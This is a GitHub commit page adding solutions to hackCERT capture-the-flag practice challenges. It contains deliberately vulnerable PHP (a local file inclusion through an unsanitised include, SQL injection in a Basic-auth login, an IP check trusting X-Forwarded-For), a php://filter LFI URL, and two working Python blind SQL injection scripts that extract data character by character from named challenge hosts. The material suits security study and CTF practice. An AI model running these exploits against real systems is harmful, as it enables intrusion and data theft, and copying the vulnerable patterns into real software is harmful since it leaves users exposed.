Skip to content

Commit 39708aa

Browse files
terjanqterjanq
committed
Added practice solutions
1 parent aec19cb commit 39708aa

35 files changed

+1549
-0
lines changed

‎Practice/hackCERT/Podwojne-uwierzytelnianie/home.php

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
<?php if(!defined('APP')) { die('직접 접근 금지'); } ?>
2+
3+
<h3>안녕하세요 운영진!</h3>
4+
5+
<p>마지막 해킹 이후 우리는 새로운 보안 수단을 구현해야했습니다. 이제 우리는 이중 인증 방식을 사용합니다. 귀하의 IP가 영광스러운 북한에 속해 있음을 발견 할 수 있도록 VPN을 사용해야합니다.</p>
6+
7+
<hr>
8+
<img src="/north-korea-is-best-korea.jpg">

‎Practice/hackCERT/Podwojne-uwierzytelnianie/index.php

+35
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
<?php
2+
ob_start();
3+
define('APP', 1);
4+
5+
$page = preg_replace('$^\/index\.php\/?$', '', $_SERVER['PHP_SELF']);
6+
7+
if (empty($page) || $page == 'index') {
8+
header('Location: /index.php/home');
9+
}
10+
11+
?>
12+
<html>
13+
<head>
14+
<style>
15+
body { background-color: #AA0000; color: white; font-size: 300%;}
16+
</style>
17+
</head>
18+
<body>
19+
20+
<nav>
21+
<a href="/index.php/home">집</a>
22+
|
23+
<a href="/index.php/instructions">명령</a>
24+
</nav>
25+
26+
<hr />
27+
28+
<?php
29+
30+
include($page . '.php');
31+
32+
?>
33+
34+
</body>
35+
</html>

‎Practice/hackCERT/Podwojne-uwierzytelnianie/instructions.php

+56
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
<?php if(!defined('APP')) { die('직접 접근 금지'); }
2+
3+
$ip = $_SERVER['HTTP_CLIENT_IP'] ?: ($_SERVER['HTTP_X_FORWARDED_FOR'] ?: $_SERVER['REMOTE_ADDR']);
4+
5+
function ip_in_range($ip, $min, $max) {
6+
return (ip2long($min) <= ip2long($ip) && ip2long($ip) <= ip2long($max));
7+
}
8+
9+
if(ip_in_range($ip, '175.45.176.0', '175.45.179.255') ||
10+
ip_in_range($ip, '210.52.109.0', '210.52.109.255') ||
11+
ip_in_range($ip, '77.94.35.0', '77.94.35.255')) {
12+
13+
if (!isset($_SERVER['PHP_AUTH_USER'])) {
14+
header('HTTP/1.0 401 Unauthorized');
15+
header('WWW-Authenticate: Basic realm="LOGIN"');
16+
} else {
17+
$login = $_SERVER['PHP_AUTH_USER'];
18+
$password = $_SERVER['PHP_AUTH_PW'];
19+
20+
$db = new PDO('sqlite:database.sqlite3');
21+
22+
$result = $db->query("select login, password from users where login = '$login'");
23+
if (!$result) { die($db->errorInfo()[2]); }
24+
$data = $result->fetchAll();
25+
26+
if(count($data) == 0) {
27+
header('HTTP/1.0 401 Unauthorized');
28+
header('WWW-Authenticate: Basic realm="NO USER"');
29+
} elseif (md5($password) !== $data[0]['password']) {
30+
header('HTTP/1.0 401 Unauthorized');
31+
header('WWW-Authenticate: Basic realm="WRONG PASSWORD"');
32+
} else {
33+
print '<h2>안녕하십니까</h2>';
34+
35+
$result = $db->query("select message from instructions where login = '{$data[0]['login']}'");
36+
if (!$result) { die($db->errorInfo()[2]); }
37+
$data = $result->fetchAll();
38+
39+
if(count($data) == 0) {
40+
print('<h3>메시지 없음</h3>');
41+
} else {
42+
print '<h3>여기에 당신을위한 메시지가 있습니다.:</h3>';
43+
44+
foreach($data as $row) {
45+
print "<p>- {$row['message']}</p>";
46+
}
47+
}
48+
}
49+
}
50+
} else {
51+
?>
52+
<p>귀하의 지적 재산권은 영광 된 북한에 속해 있지 않습니다. VPN을 사용하면 사용자 이름과 비밀번호로 로그인 할 수 있습니다.</p>
53+
<?php
54+
}
55+
56+
?>

‎Practice/hackCERT/Podwojne-uwierzytelnianie/lfi

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
http://ecsm2017.cert.pl:6044/index.php/php://filter/convert.base64-encode/resource=instructions

‎Practice/hackCERT/Podwojne-uwierzytelnianie/solve.py

+114
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
import requests, urllib, re, sys, base64
2+
import random, string
3+
4+
5+
url_base = "http://ecsm2017.cert.pl:6044/index.php/instructions"
6+
url_login = url_base
7+
url_payload = url_base
8+
9+
sessid = requests.Session()
10+
11+
init_array = []
12+
sillent = False
13+
fancy_console = False
14+
15+
ASCIIAlphabet = "\001 !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
16+
simpleAlphabet = "\001abcdefghijklmnopqrstuvwxyz"
17+
HEXAlphabet = "\001-0123456789abcdef"
18+
advancedAlphabet= "\0010123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
19+
20+
21+
flag_payload = "a' or substr((select message from instructions), @wOFFSET@,1)>'@cORD@"
22+
23+
headers = {'X-Forwarded-For': '175.45.176.1'}
24+
25+
def printInPlace(alert):
26+
if fancy_console:
27+
sys.stdout.write("{}{}".format(alert, "\b"*len(alert)))
28+
sys.stdout.flush();
29+
return fancy_console
30+
31+
def createPayload( query ):
32+
return (query, 'aaa')
33+
34+
def sendPayload ( query ):
35+
if sillent == False: print ("exec: {}".format(query))
36+
payload = createPayload(query)
37+
add = requests.get(url_payload, auth=payload, allow_redirects=False, headers=headers)
38+
return findIDs(add.headers)
39+
40+
def logIn():
41+
print ("loggin in: ")
42+
sessid.get(url_login, allow_redirects=True)
43+
return
44+
45+
def findIDs(text):
46+
return text
47+
48+
def tryPayload(str):
49+
headers = sendPayload(str)
50+
return 'Basic realm="WRONG PASSWORD"' == headers['WWW-Authenticate']
51+
52+
#bin-search ASCII inside [alphabet]
53+
def findName(payload, alphabet):
54+
a = 0
55+
b = len(alphabet)-1
56+
while (a < b):
57+
mid = (a+b)//2
58+
c = alphabet[mid]
59+
printInPlace(c)
60+
if tryPayload(payload
61+
.replace("@cORD@", c)
62+
): a = mid + 1
63+
else:
64+
b = mid
65+
return alphabet[a]
66+
67+
68+
def findNames(payload, alphabet):
69+
for result_offset in range(0, 1000):
70+
result = ""
71+
pl = payload.replace("@rOFFSET@", str(result_offset))
72+
for word_offset in range(1, 40):
73+
pl2 = pl.replace("@wOFFSET@", str(word_offset))
74+
c = findName(pl2, alphabet)
75+
if c == alphabet[0]: break
76+
sys.stdout.write(c)
77+
sys.stdout.flush
78+
result+=c
79+
print(" ")
80+
if len(result) <= 0: break
81+
return
82+
83+
84+
85+
86+
def findTables():
87+
print ("..:: Searching for table names ::..")
88+
findNames(tables_payload, ASCIIAlphabet)
89+
90+
def findSpiesrColumns():
91+
print ("..:: Searching for column names in user ::..")
92+
findNames(columns_spies_payload, advancedAlphabet)
93+
94+
def findCtfColumns():
95+
print ("..:: Searching for column names in point::..")
96+
findNames(columns_ctf_payload, advancedAlphabet)
97+
98+
99+
def findFlag():
100+
print ("..:: Searching for Admin hash ::..")
101+
findNames(flag_payload, ASCIIAlphabet)
102+
103+
104+
105+
fancy_console = True # Turn on fancy terminal output
106+
sillent = True # Turn off debugging mode
107+
108+
109+
# findTables();
110+
findFlag();
111+
112+
113+
114+
# 08e0d3fa-7fe7-4157-94ab-724f07190840

‎Practice/hackCERT/Security Blog/exploit.py

+124
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
import requests, urllib, re, sys, base64
2+
3+
url_base = "https://blog.pwning2017.p4.team"
4+
url_login = url_base;
5+
url_payload = url_base + "/submit";
6+
7+
sessid = requests.Session()
8+
9+
init_array = []
10+
sillent = False
11+
fancy_console = False
12+
13+
ASCIIAlphabet = "\001 !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
14+
simpleAlphabet = "\001abcdefghijklmnopqrstuvwxyz"
15+
HEXAlphabet = "\0010123456789abcdef"
16+
advancedAlphabet= "\0010123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz"
17+
18+
flag_payload = "Ascii(substring((SELECT flag FROM ctf_flag WHERE 1 LIMIT @rOFFSET@,1),@wOFFSET@,1))>@cORD@"
19+
tables_payload = "Ascii(substring((SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT @rOFFSET@,1),@wOFFSET@,1))>@cORD@"
20+
21+
columns_ctf_payload = "Ascii(substring((SELECT column_name FROM information_schema.columns WHERE table_name = 'ctf_flag' LIMIT @rOFFSET@,1),@wOFFSET@,1))>@cORD@"
22+
columns_blog_comments_payload = "Ascii(substring((SELECT column_name FROM information_schema.columns WHERE table_name = 'spies' LIMIT @rOFFSET@,1),@wOFFSET@,1))>@cORD@#"
23+
24+
def printInPlace(alert):
25+
if fancy_console:
26+
sys.stdout.write("{}{}".format(alert, "\b"*len(alert)))
27+
sys.stdout.flush();
28+
return fancy_console
29+
30+
def createPayload( query ):
31+
return {"post_id": query, "text": "##HEHE##", "who": "none" }
32+
33+
def sendPayload ( query ):
34+
if sillent == False: print ("exec: {}".format(query))
35+
payload = createPayload(query)
36+
add = sessid.post(url_payload, payload, allow_redirects=True)
37+
return findIDs(add.text)
38+
39+
def logIn():
40+
print ("loggin in: ")
41+
sessid.get(url_login, allow_redirects=True)
42+
return
43+
44+
def findIDs(text):
45+
regex = re.compile(r"(##HEHE##)")
46+
matches = regex.findall(text)
47+
return matches
48+
49+
def tryPayload(str):
50+
global init_array
51+
old_arr = len(init_array)
52+
init_array = sendPayload(str)
53+
return len(init_array) > old_arr
54+
55+
#bin-search ASCII inside [alphabet]
56+
def findName(payload, alphabet):
57+
a = 0
58+
b = len(alphabet)-1
59+
while (a < b):
60+
mid = (a+b)//2
61+
c = alphabet[mid]
62+
printInPlace(c)
63+
if tryPayload(payload
64+
.replace("@cORD@", str(ord(c)))
65+
): a = mid + 1
66+
else:
67+
b = mid
68+
return alphabet[a]
69+
70+
71+
def findNames(payload, alphabet):
72+
for result_offset in range(0, 10):
73+
result = ""
74+
pl = payload.replace("@rOFFSET@", str(result_offset))
75+
for word_offset in range(1, 40):
76+
pl2 = pl.replace("@wOFFSET@", str(word_offset))
77+
c = findName(pl2, alphabet)
78+
if c == alphabet[0]: break
79+
sys.stdout.write(c)
80+
sys.stdout.flush
81+
result+=c
82+
print(" ")
83+
if len(result) <= 1: break
84+
return
85+
86+
87+
def findTables():
88+
print ("..:: Searching for table names ::..")
89+
findNames(tables_payload, advancedAlphabet)
90+
91+
def findSpiesrColumns():
92+
print ("..:: Searching for column names in user ::..")
93+
findNames(columns_spies_payload, advancedAlphabet)
94+
95+
def findCtfColumns():
96+
print ("..:: Searching for column names in point::..")
97+
findNames(columns_ctf_payload, advancedAlphabet)
98+
99+
100+
def findFlag():
101+
print ("..:: Searching for Admin hash ::..")
102+
findNames(flag_payload, ASCIIAlphabet)
103+
104+
105+
106+
fancy_console = True # Turn on fancy terminal output
107+
sillent = True # Turn off debugging mode
108+
logIn();
109+
110+
111+
#deletePoints();
112+
#addPoints();
113+
init_array = sendPayload("1");
114+
115+
print (init_array)
116+
# findTables();
117+
# findCtfColumns();
118+
findFlag()
119+
# findUsersColumns();
120+
# findSpiesrColumns();
121+
# findAdminHash();
122+
123+
# findAdminHash();
124+

‎Practice/hackCERT/bulletproof/aaaaa

+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
<?php
2+
3+
require('../auth_funcs.php');
4+
5+
ini_set('display_errors', 1);
6+
error_reporting(E_ALL);
7+
$auth = false;
8+
9+
if (isset($_COOKIE['remember_me'])) {
10+
$obj = json_decode($_COOKIE['remember_me'], true);
11+
12+
if ($obj['login'] == 'demo' && $obj['token'] == getUserAuthToken('demo')) {
13+
$auth = 'demo';
14+
}
15+
16+
if ($obj['login'] == 'admin' && $obj['token'] == getUserAuthToken('admin')) {
17+
$auth = 'admin';
18+
}
19+
}
20+
21+
if (!$auth) {
22+
echo('Sorry, you are not authenticated :(<br>');
23+
24+
if (isset($_COOKIE['remember_me'])) {
25+
echo('<pre>'.htmlentities(var_ex

‎Practice/hackCERT/bulletproof/admin.php.corrupted.txt

2.02 KB
Binary file not shown.

0 commit comments

Comments
 (0)